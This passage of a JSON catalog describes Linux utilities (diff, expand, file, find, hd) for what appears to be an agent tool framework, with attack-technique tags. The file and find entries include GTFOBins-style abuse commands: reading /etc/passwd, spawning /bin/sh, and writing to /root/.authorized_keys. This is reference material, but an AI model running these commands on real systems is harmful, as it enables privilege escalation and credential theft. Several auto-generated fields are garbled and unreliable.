          "--ignore-case"
        ],
        "flag": "-i"
      },
      {
        "name": "ignore-file-name-case",
        "template_key": "ignore-file-name-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case when comparing file names",
        "aliases": [
          "--ignore-file-name-case"
        ],
        "flag": "--ignore-file-name-case"
      },
      {
        "name": "ignore-matching-lines",
        "template_key": "ignore-matching-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-I",
          "--ignore-matching-lines"
        ],
        "flag": "-I"
      },
      {
        "name": "ignore-space-change",
        "template_key": "ignore-space-change",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore changes in the amount of white space",
        "aliases": [
          "-b",
          "--ignore-space-change"
        ],
        "flag": "-b"
      },
      {
        "name": "ignore-tab-expansion",
        "template_key": "ignore-tab-expansion",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore changes due to tab expansion",
        "aliases": [
          "-E",
          "--ignore-tab-expansion"
        ],
        "flag": "-E"
      },
      {
        "name": "ignore-trailing-space",
        "template_key": "ignore-trailing-space",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore white space at line end",
        "aliases": [
          "-Z",
          "--ignore-trailing-space"
        ],
        "flag": "-Z"
      },
      {
        "name": "initial-tab",
        "template_key": "initial-tab",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make tabs line up by prepending a tab",
        "aliases": [
          "-T",
          "--initial-tab"
        ],
        "flag": "-T"
      },
      {
        "name": "label LABEL",
        "template_key": "label-label",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use LABEL instead of file name and timestamp",
        "aliases": [
          "--label LABEL"
        ],
        "flag": "--label"
      },
      {
        "name": "left-column",
        "template_key": "left-column",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output only the left column of common lines",
        "aliases": [
          "--left-column"
        ],
        "flag": "--left-column"
      },
      {
        "name": "line-format",
        "template_key": "line-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "format all input lines with LFMT",
        "aliases": [
          "--line-format"
        ],
        "flag": "--line-format"
      },
      {
        "name": "minimal",
        "template_key": "minimal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "try hard to find a smaller set of changes",
        "aliases": [
          "-d",
          "--minimal"
        ],
        "flag": "-d"
      },
      {
        "name": "new-file",
        "template_key": "new-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat absent files as empty",
        "aliases": [
          "-N",
          "--new-file"
        ],
        "flag": "-N"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't follow symbolic links",
        "aliases": [
          "--no-dereference"
        ],
        "flag": "--no-dereference"
      },
      {
        "name": "no-ignore-file-name-case",
        "template_key": "no-ignore-file-name-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--no-ignore-file-name-case"
        ],
        "flag": "--no-ignore-file-name-case"
      },
      {
        "name": "normal",
        "template_key": "normal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output a normal diff (the default)",
        "aliases": [
          "--normal"
        ],
        "flag": "--normal"
      },
      {
        "name": "paginate",
        "template_key": "paginate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "pass output through 'pr' to paginate it",
        "aliases": [
          "-l",
          "--paginate"
        ],
        "flag": "-l"
      },
      {
        "name": "palette",
        "type": "boolean",
        "required": false,
        "description": "is active; PALETTE is",
        "aliases": [
          "--palette",
          "--color"
        ],
        "flag": "--color"
      },
      {
        "name": "rcs",
        "template_key": "rcs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output an RCS format diff",
        "aliases": [
          "-n",
          "--rcs"
        ],
        "flag": "-n"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "recursively compare any subdirectories found",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "report-identical-files",
        "template_key": "report-identical-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s",
          "--report-identical-files"
        ],
        "flag": "-s"
      },
      {
        "name": "show-c-function",
        "template_key": "show-c-function",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show which C function each change is in",
        "aliases": [
          "-p",
          "--show-c-function"
        ],
        "flag": "-p"
      },
      {
        "name": "show-function-line",
        "template_key": "show-function-line",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show the most recent line matching RE",
        "aliases": [
          "-F",
          "--show-function-line"
        ],
        "flag": "-F"
      },
      {
        "name": "side-by-side",
        "template_key": "side-by-side",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output in two columns",
        "aliases": [
          "-y",
          "--side-by-side"
        ],
        "flag": "-y"
      },
      {
        "name": "speed_large_files",
        "type": "boolean",
        "required": false,
        "description": "assume large files and many scattered small changes",
        "aliases": [
          "--speed-large-files"
        ],
        "flag": "--speed-large-files"
      },
      {
        "name": "starting-file",
        "template_key": "starting-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "start with FILE when comparing directories",
        "aliases": [
          "-S",
          "--starting-file"
        ],
        "flag": "-S"
      },
      {
        "name": "strip-trailing-cr",
        "template_key": "strip-trailing-cr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "strip trailing carriage return on input",
        "aliases": [
          "--strip-trailing-cr"
        ],
        "flag": "--strip-trailing-cr"
      },
      {
        "name": "suppress-blank-empty",
        "template_key": "suppress-blank-empty",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress space or tab before empty output lines",
        "aliases": [
          "--suppress-blank-empty"
        ],
        "flag": "--suppress-blank-empty"
      },
      {
        "name": "suppress-common-lines",
        "template_key": "suppress-common-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not output common lines",
        "aliases": [
          "--suppress-common-lines"
        ],
        "flag": "--suppress-common-lines"
      },
      {
        "name": "tabsize",
        "template_key": "tabsize",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "tab stops every NUM (default 8) print columns",
        "aliases": [
          "--tabsize"
        ],
        "flag": "--tabsize"
      },
      {
        "name": "text",
        "template_key": "text",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat all files as text",
        "aliases": [
          "-a",
          "--text"
        ],
        "flag": "-a"
      },
      {
        "name": "to-file",
        "template_key": "to-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "compare all operands to FILE2",
        "aliases": [
          "--to-file"
        ],
        "flag": "--to-file"
      },
      {
        "name": "unidirectional-new-file",
        "template_key": "unidirectional-new-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat absent first files as empty",
        "aliases": [
          "--unidirectional-new-file"
        ],
        "flag": "--unidirectional-new-file"
      },
      {
        "name": "unified",
        "template_key": "unified",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output NUM (default 3) lines of unified context",
        "aliases": [
          "-u",
          "-U",
          "--unified"
        ],
        "flag": "-u"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      },
      {
        "name": "width",
        "template_key": "width",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "output at most NUM (default 130) print columns",
        "aliases": [
          "-W",
          "--width"
        ],
        "flag": "-W"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-patch"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "defense-evasion"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# expand\n\nexpand is a command-line utility. Convert tabs to spaces; can read arbitrary files Can also read arbitrary files.\n",
    "_source": "expand.md",
    "allowed-tools": [
      "expand"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert tabs to spaces; can read arbitrary files Can also read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files",
        "command": "expand /path/to/input-file"
      }
    ],
    "execution": {
      "template": "expand",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-file-expand",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "expand",
    "namespace": "system:file:expand",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/expand/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# file — Determine file type\n\n## Overview\n\n`file` is a command-line utility for determine file type.\n\n## Usage\n\n```\nfile --help {help} -v {version} -m {magic-file-list} -z {uncompress} -Z {uncompress-noreport}\n```\n",
    "_source": "file.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.delete",
      "system.file.file",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.read"
    ],
    "description": "Determine file type",
    "examples": [
      {
        "description": "Basic usage with help",
        "command": "file ${help}"
      },
      {
        "description": "Display help message",
        "command": "file --help"
      },
      {
        "description": "Read an arbitrary file by specifying it as a magic file. This will\n result in errors containing the lines of the file. The argument parsing\ndone by file also means this can be specified as a single argument.\n",
        "command": "file -m/etc/passwd\n"
      },
      {
        "description": "Argument injection: read local file: Read an arbitrary file by specifying it as a magic file. This will\nresult in errors containing the lines of the file. The argument parsing\ndone by file also means this can be specified as a single argument.\n",
        "command": "file -m/etc/passwd"
      }
    ],
    "execution": {
      "template": "file --help {help} -v {version} -m {magic-file-list} -z {uncompress} -Z {uncompress-noreport}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "output-json"
    ],
    "id": "system-file-file",
    "install": [
      {
        "method": "apt",
        "package_name": "file",
        "commands": [
          "apt-get install -y file"
        ]
      }
    ],
    "name": "file",
    "namespace": "system:file:file",
    "parameters": [
      {
        "name": "apple",
        "type": "boolean",
        "required": false,
        "description": "output the Apple CREATOR/TYPE",
        "aliases": [
          "--apple"
        ],
        "flag": "--apple"
      },
      {
        "name": "brief",
        "template_key": "brief",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "do not prepend filenames to output lines",
        "aliases": [
          "-b",
          "--brief"
        ],
        "flag": "-b"
      },
      {
        "name": "checking-printout",
        "template_key": "checking-printout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the parsed form of the magic file, use in",
        "aliases": [
          "-c",
          "--checking-printout"
        ],
        "flag": "-c"
      },
      {
        "name": "compile",
        "template_key": "compile",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compile file specified by -m",
        "aliases": [
          "-C",
          "--compile"
        ],
        "flag": "-C"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print debugging messages",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow symlinks (default if POSIXLY_CORRECT is set)",
        "aliases": [
          "-L",
          "--dereference"
        ],
        "flag": "-L"
      },
      {
        "name": "exclude TEST",
        "template_key": "exclude-test",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "exclude TEST from the list of test to be",
        "aliases": [
          "-e",
          "--exclude TEST"
        ],
        "flag": "-e"
      },
      {
        "name": "exclude-quiet TEST",
        "template_key": "exclude-quiet-test",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like exclude, but ignore unknown tests",
        "aliases": [
          "--exclude-quiet TEST"
        ],
        "flag": "--exclude-quiet"
      },
      {
        "name": "extension",
        "type": "boolean",
        "required": false,
        "description": "output a slash-separated list of extensions",
        "aliases": [
          "--extension"
        ],
        "flag": "--extension"
      },
      {
        "name": "files-from FILE",
        "template_key": "files-from-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read the filenames to be examined from FILE",
        "aliases": [
          "-f",
          "--files-from FILE"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "keep-going",
        "template_key": "keep-going",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't stop at the first match",
        "aliases": [
          "-k",
          "--keep-going"
        ],
        "flag": "-k"
      },
      {
        "name": "list",
        "template_key": "list",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list magic strength",
        "aliases": [
          "-l",
          "--list"
        ],
        "flag": "-l"
      },
      {
        "name": "magic-file LIST",
        "template_key": "magic-file-list",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "use LIST as a colon-separated list of magic",
        "aliases": [
          "-m",
          "--magic-file LIST"
        ],
        "flag": "-m"
      },
      {
        "name": "mime",
        "template_key": "mime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output MIME type strings (--mime-type and",
        "aliases": [
          "-i",
          "--mime"
        ],
        "flag": "-i"
      },
      {
        "name": "mime-encoding",
        "template_key": "mime-encoding",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--apple output the Apple CREATOR/TYPE --extension output a slash-separated list of extensions --mime-type output the MIME type --mime-encoding output the MIME encoding",
        "aliases": [
          "--mime-encoding"
        ],
        "flag": "--mime-encoding"
      },
      {
        "name": "mime_type",
        "type": "boolean",
        "required": false,
        "description": "output the MIME type",
        "aliases": [
          "--mime-type"
        ],
        "flag": "--mime-type"
      },
      {
        "name": "no-buffer",
        "template_key": "no-buffer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not buffer output",
        "aliases": [
          "-n",
          "--no-buffer"
        ],
        "flag": "-n"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't follow symlinks (default if POSIXLY_CORRECT is not set) (default)",
        "aliases": [
          "-h",
          "--no-dereference"
        ],
        "flag": "-h"
      },
      {
        "name": "no-pad",
        "template_key": "no-pad",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not pad output",
        "aliases": [
          "-N",
          "--no-pad"
        ],
        "flag": "-N"
      },
      {
        "name": "no-sandbox",
        "template_key": "no-sandbox",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable system call sandboxing",
        "aliases": [
          "-S",
          "--no-sandbox"
        ],
        "flag": "-S"
      },
      {
        "name": "parameter",
        "template_key": "parameter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set file engine parameter limits",
        "aliases": [
          "-P",
          "--parameter"
        ],
        "flag": "-P"
      },
      {
        "name": "preserve-date",
        "template_key": "preserve-date",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve access times on files",
        "aliases": [
          "-p",
          "--preserve-date"
        ],
        "flag": "-p"
      },
      {
        "name": "print0",
        "template_key": "print0",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "terminate filenames with ASCII NUL",
        "aliases": [
          "-0",
          "--print0"
        ],
        "flag": "-0"
      },
      {
        "name": "raw",
        "template_key": "raw",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't translate unprintable chars to \\ooo",
        "aliases": [
          "-r",
          "--raw"
        ],
        "flag": "-r"
      },
      {
        "name": "separator STRING",
        "template_key": "separator-string",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use string as separator instead of `:'",
        "aliases": [
          "-F",
          "--separator STRING"
        ],
        "flag": "-F"
      },
      {
        "name": "special-files",
        "template_key": "special-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat special (block/char devices) files as",
        "aliases": [
          "-s",
          "--special-files"
        ],
        "flag": "-s"
      },
      {
        "name": "uncompress",
        "template_key": "uncompress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "try to look inside compressed files",
        "aliases": [
          "-z",
          "--uncompress"
        ],
        "flag": "-z"
      },
      {
        "name": "uncompress-noreport",
        "template_key": "uncompress-noreport",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-Z",
          "--uncompress-noreport"
        ],
        "flag": "-Z"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "discovery",
      "enumeration",
      "execution",
      "exfiltration",
      "lateral-movement",
      "persistence",
      "privilege-escalation",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# find — Search for files in a directory hierarchy\n\n## Overview\n\n`find` is a command-line utility for search for files in a directory hierarchy.\n\n## Usage\n\n```\nfind -d {flag-d} -d {flag-d-2} -a {flag-a} -d {flag-d-3} --help {help}\n```\n",
    "_source": "find.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.find",
      "system.file.delete",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "security.execution.command",
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "description": "Search for files in a directory hierarchy",
    "examples": [
      {
        "description": "Basic usage with flag-d",
        "command": "find ${flag-d}"
      },
      {
        "description": "Display help message",
        "command": "find --help"
      },
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells either indirectly",
        "command": "find . -name i_do_not_exist -or -exec perl -e 'exec sh' ; -quit\n"
      },
      {
        "description": "or directly.",
        "command": "find . -exec /bin/sh ; -quit\n"
      },
      {
        "description": "Can be used to execute arbitrary commands on a system.",
        "command": "find . -name i_do_not_exist -or -exec ls ; -quit\n"
      },
      {
        "description": "Reading of files is possible by executing cat.",
        "command": "find /etc/passwd -exec cat {} ;\n"
      },
      {
        "description": "Find has various capabilities to write to files and it is recommended to read the manual for more details, especially its fprintf and 'UNUSUAL FILENAMES' sections.",
        "command": "find . -fprintf /root/.authorized_keys 'ssh-rsa ...' -quit\n"
      },
      {
        "description": "Argument injection: spawn interactive shell: Can be used to execute arbitrary commands on a system and spawn shells either indirectly",
        "command": "find . -name i_do_not_exist -or -exec perl -e 'exec sh' ; -quit"
      },
      {
        "description": "Argument injection: spawn interactive shell: or directly.",
        "command": "find . -exec /bin/sh ; -quit"
      },
      {
        "description": "Argument injection: execute arbitrary command: Can be used to execute arbitrary commands on a system.",
        "command": "find . -name i_do_not_exist -or -exec ls ; -quit"
      },
      {
        "description": "Argument injection: read local file: Reading of files is possible by executing cat.",
        "command": "find /etc/passwd -exec cat {} ;"
      },
      {
        "description": "Argument injection: write to local file: Find has various capabilities to write to files and it is recommended to read the manual for more details, especially its fprintf and 'UNUSUAL FILENAMES' sections.",
        "command": "find . -fprintf /root/.authorized_keys 'ssh-rsa ...' -quit"
      },
      {
        "description": "NetRunners usefull/shell",
        "command": "find / -perm -4000 2>/dev/null"
      },
      {
        "description": "Find files by case-insensitive extension, such as `.jpg`, `.JPG`, & `.jpG`). By default, find(1) uses glob pathname pattern matching. To avoid shell interpretation, the glob either must be expanded or the string quoted. Period is optional; it's implied unless a path is provided. find(1) works recursively unless otherwise directed (IE: `-maxdepth [N]`).",
        "command": "find . -iname '*.jpg'"
      },
      {
        "description": "Find directories.",
        "command": "find . -type d"
      },
      {
        "description": "Find files. Specifically files; not directories, links, FIFOs, etc.",
        "command": "find . -type f"
      },
      {
        "description": "Find files set to the provided octal mode (permissions).",
        "command": "find . -type f -perm 777"
      },
      {
        "description": "Find files with setuid bit set, keeping to the same filesystem.",
        "command": "find . -xdev \\( -perm -4000 \\) -type f -print0 | xargs -0 ls -l"
      },
      {
        "description": "The above is a useful demonstration of some pitfalls into which a user can fall, where the below is the above but corrected. Here is why: * The `.` (current working directory) is assumed when no path is provided. * Group syntax (parentheses) was used, but nothing was actually grouped. * A lot of people have their ls(1) command aliased in many ways, - potentially causing problems with the output and how xargs(1) handles it. By escaping the command, we temporarily override any aliases and even functions by the same name. * At least in my experience, the prior xargs(1) is not as reliable. * The `-print0` and `xargs -0` is great, but unnecessary (except when?). However, it might be more preferred to simply use find(1)'s own `-printf` flag, in order to avoid the need for xargs(1) and ls(1), which should be many times faster, and allows for more specificity.",
        "command": "find -perm -4000 -type f -print0 | xargs -I '{}' -0 \\ls -l '{}'"
      },
      {
        "description": "Find and remove files with case-sensitive extension of `.txt`.",
        "command": "find [PATH] -name '*.txt' -exec rm '{}' \\;"
      },
      {
        "description": "The above is much more efficiently written as shown below, as find(1) has its own built-in delete function, not to mention a single rm(1) process was previously executed for each file processed, which is comparatively slow.",
        "command": "find [PATH] -name '*.txt' -delete"
      },
      {
        "description": "Find files with extension '.txt' and look for a string into them.",
        "command": "find ./path/ -name '*.txt' | xargs grep 'string'"
      },
      {
        "description": "Find files with size bigger than 5 Mb and sort them by size.",
        "command": "find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z"
      },
      {
        "description": "Find files bigger thank 2 MB and list them.",
        "command": "find . -type f -size +20000k -exec ls -lh {} \\; | awk '{ print $9 \": \" $5 }'"
      },
      {
        "description": "Alternative, faster approach* to the above. Why it's faster: * No need for an external process, like ls(1). * The use of `;` with the `-exec` flag executes an ls(1) process for each file found, which is comparatively very slow. * The `printf` feature is built in and special to awk(1). That said, awk(1) or gawk(1) is doing a little more here, in order to get somewhat of a human-readable file size, but its impact is likely negligible.",
        "command": "find -type f -size +20000k -printf '%s %P\\n' |"
      },
      {
        "description": "cheat.sheets: find",
        "command": "awk \"{printf(\\\"%'dM %s\\n\\\", \\$1 / (1024 * 1024), \\$2)}\""
      },
      {
        "description": "Find files modified more than 7 days ago and list file information.",
        "command": "find . -type f -mtime +7d -ls"
      },
      {
        "description": "Find symlinks owned by the given user, then list file information.",
        "command": "find -type l -user [NAME] -ls"
      },
      {
        "description": "The following may be the syntax used on a Mac, however this is not valid on Linux, or at least version 4.7.0. All flags in GNU find(1) are one `-` only.",
        "command": "find . -type l --user=[NAME] -ls"
      },
      {
        "description": "Search for and delete empty directories.",
        "command": "find . -type d -empty -exec rmdir {} \\;"
      },
      {
        "description": "A far more efficient approach to the above. If no path is provided, then the current working directory (CWD) is assumed, making the `.` superfluous.",
        "command": "find -type d -empty -delete"
      },
      {
        "description": "Search for directories named `build` at a maximum depth of 2 directories. This means that find will not recursively search beyond two levels.",
        "command": "find . -maxdepth 2 -name build -type d"
      },
      {
        "description": "Search all files which are not in a `.git` directory. Depending on the shell used, the bang (`!`) may need to be escaped, to avoid shell interpretation. Alternatively, although non-POSIX, the `-not` flag can be used.",
        "command": "find . \\! -iwholename '*.git*' -type f"
      },
      {
        "description": "Find all files that have the same inode (indicating hard link) as FILE. All output going to STDERR (typically error messages) will also be redirected to `/dev/null`, a special pseudo-file where data is sent to die.",
        "command": "find . -type f -samefile [FILE] 2>/dev/null"
      },
      {
        "description": "Find all files in the current directory and modify their permissions.",
        "command": "find . -type f -exec chmod 644 {} \\;"
      },
      {
        "description": "Find files with extension `.txt` and edit all of them with vim(1). The use of `+` (escaped to avoid shell interpretation) with `-exec` means that only one process (in this case, `vim`) per `exec`ution is used. If `;` is instead used (would also need escaping), then one `vim` process would be used per file.",
        "command": "find . -iname '*.txt' -exec vim {} \\+"
      },
      {
        "description": "Find files with extension `.png`, then rename their extension to `.jpg`. It's highly important that `\\;` is used here, instead of `\\+`, otherwise it'd make a right mess of the files, due to the way in which mv(1) works.",
        "command": "find . -type f -iname '*.png' -exec bash -c 'mv \"$0\" \"${0%.*}.jpg\"' {} \\;"
      },
      {
        "description": "Use logic and grouping to delete extension-specific files.",
        "command": "find \\( -iname \"*.jpg\" -or -iname \"*.sfv\" -or -iname \"*.xspf\" \\) -type f -delete"
      },
      {
        "description": "List executable files, by basename, found within PATH.",
        "command": "find ${PATH//:/ } -type f -executable -printf \"%P\\n\""
      }
    ],
    "execution": {
      "template": "find -d {flag-d} -d {flag-d-2} -a {flag-a} -d {flag-d-3} --help {help}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "output-json",
      "process-manip"
    ],
    "id": "system-file-find",
    "install": [
      {
        "method": "apt",
        "package_name": "findutils",
        "commands": [
          "apt-get install -y findutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "findutils",
        "commands": [
          "brew install findutils"
        ]
      }
    ],
    "name": "find",
    "namespace": "system:file:find",
    "parameters": [
      {
        "name": "amin",
        "type": "boolean",
        "required": false,
        "description": "CONTEXT",
        "aliases": [
          "-amin",
          "-anewer",
          "-atime",
          "-cmin",
          "-cnewer",
          "-context"
        ],
        "flag": "-amin"
      },
      {
        "name": "exec",
        "type": "boolean",
        "required": false,
        "description": "COMMAND ;",
        "aliases": [
          "-exec",
          "-exec",
          "-ok"
        ],
        "flag": "-ok"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-ctime N -empty -false -fstype TYPE -gid N -group NAME -ilname PATTERN -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE -nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN -readable -writable -executable -wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N -used N -user NAME -xtype [bcdpfls]",
        "aliases": [
          "-a",
          "-a",
          "-a",
          "-c",
          "-c",
          "-c"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-d",
          "-f",
          "-n",
          "-r",
          "-w"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-d-2",
        "template_key": "flag-d-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-mount -noleaf -xdev -ignore_readdir_race -noignore_readdir_race",
        "aliases": [
          "-d",
          "-f",
          "-f",
          "-m",
          "-m"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-d-3",
        "template_key": "flag-d-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ; -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND",
        "aliases": [
          "-d",
          "-p",
          "-p",
          "-f",
          "-p"
        ],
        "flag": "-d"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "used",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-used",
          "-xtype"
        ],
        "flag": "-used"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-xargs"
    ],
    "risk_level": "low",
    "techniques": [
      "defense-evasion",
      "data-manipulation",
      "process-manip",
      "collection",
      "enumeration",
      "credential-access",
      "discovery",
      "lateral-movement",
      "execution",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "hd.md",
    "allowed-tools": [
      "hd",
      "hexdump",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Hex dump (alias for hexdump -C), can read files.",
    "examples": [
      {
        "description": "Read a file via hd",
        "command": "hd /path/to/file"
      }
    ],
    "execution": {
      "template": "hd /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-file-hd",
    "install": [
      {
        "method": "apt",
        "package_name": "bsdmainutils",
        "commands": [
          "apt-get install -y bsdmainutils"
        ]
      }
    ],
    "name": "hd",
    "namespace": "system:file:hd",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/hd/"
      }
    ],
    "related_tools": [
      "hexdump",
